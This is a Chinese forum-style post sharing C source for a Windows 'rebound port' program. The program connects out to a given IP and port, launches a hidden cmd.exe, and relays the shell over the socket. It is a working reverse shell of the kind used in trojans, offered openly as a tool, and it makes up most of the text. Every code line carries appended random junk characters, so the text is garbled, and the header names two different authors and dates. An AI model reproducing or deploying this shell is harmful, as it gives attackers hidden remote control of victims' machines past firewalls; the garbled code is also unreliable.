这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )9JuQ_R
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/* ============================== wXxk+DV@
Rebound port in Windows NT ~",,&>#[K
By wind,2006/7 )t$|'c}
===============================*/ dsJHhsu6
#include k!6wVJ|_Y
#include nFfwVqV
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#pragma comment(lib,"wsock32.lib") Q!dNJQpb
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void OutputShell(); Bn_@R`
SOCKET sClient; _jCjq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +A,t9 3:k
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void main(int argc,char **argv) a7UfRG
{ )q+9_KUq
WSADATA stWsaData; xkzC+ _A
int nRet; b bO1`b-
SOCKADDR_IN stSaiClient,stSaiServer; N/fH% AtM
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if(argc != 3) `[5QouPV
{ 7T3ub3\
printf("Useage:\n\rRebound DestIP DestPort\n"); +#! !
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return; 5=--+8[ bV
} lj!f\C}d
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WSAStartup(MAKEWORD(2,2),&stWsaData); g+98G8R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); enGjom
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stSaiClient.sin_family = AF_INET; h .Iscr^~
stSaiClient.sin_port = htons(0); =a.avOZ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^J=l] l
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `?ijKZ}y5
{ SlZ>N$E
printf("Bind Socket Failed!\n"); $lMEZt8A
return; =pP0dvn
} /)` kYD6
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stSaiServer.sin_family = AF_INET; )} H46
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yS[Z%]bvU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c{u~=24;%#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) DEw_dOJ(
{ kt; |
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printf("Connect Error!"); R)w|bpW
return; B^SD5
} V3u[{^^f
OutputShell(); 6DG:imGl
} 'B>%5'SdD
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void OutputShell() |[VtYV _{
{ I!ykm\<
char szBuff[1024]; bVc;XZwI
SECURITY_ATTRIBUTES stSecurityAttributes; |&t 2jD(
OSVERSIONINFO stOsversionInfo; kMHupROj
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^c{,QS{
STARTUPINFO stStartupInfo; kgvB80$4
char *szShell; I~$LIdzw
PROCESS_INFORMATION stProcessInformation; 89@e &h*
unsigned long lBytesRead; {g>k-.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Tej-mr3P
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Jn>7MuG
stSecurityAttributes.lpSecurityDescriptor = 0; u,e(5LU
stSecurityAttributes.bInheritHandle = TRUE; v^h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,xew3c'(W
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b&;1b<BwD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D %`64R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D/w4u;E@
stStartupInfo.wShowWindow = SW_HIDE; (c<Krc
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stStartupInfo.hStdInput = hReadPipe; 2@
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XLK#=YTI
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GetVersionEx(&stOsversionInfo); #cBt@SEL'
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switch(stOsversionInfo.dwPlatformId) V6,D~7
{ y#AwuC K
case 1: Eg"DiI)7
szShell = "command.com"; aPq9^S*
break; ,R1`/aRy
default: fa#]G^f
szShell = "cmd.exe"; Vs~^r>
break; H V`{YuP
} -}m#uUqI
*=1;HN3
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &t+
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send(sClient,szMsg,77,0); .[hQ#3)W
while(1) %:n1S]Vr
{ mN^92@eebC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {6v|d{V+e
if(lBytesRead) K2TO,J3 E
{ {R7>-Y[4)2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nu] k<^I5|
send(sClient,szBuff,lBytesRead,0); OYJy;u3"
} 8{HeHU
else /LM*nN$%
{ 6u3DxFiTm
lBytesRead=recv(sClient,szBuff,1024,0); :z%vNKy1
if(lBytesRead<=0) break; &+-ZXN
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S<f&?\wK=v
} w~EXO;L2
} J'4{+Q_pa
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return; >w jWX{&?
}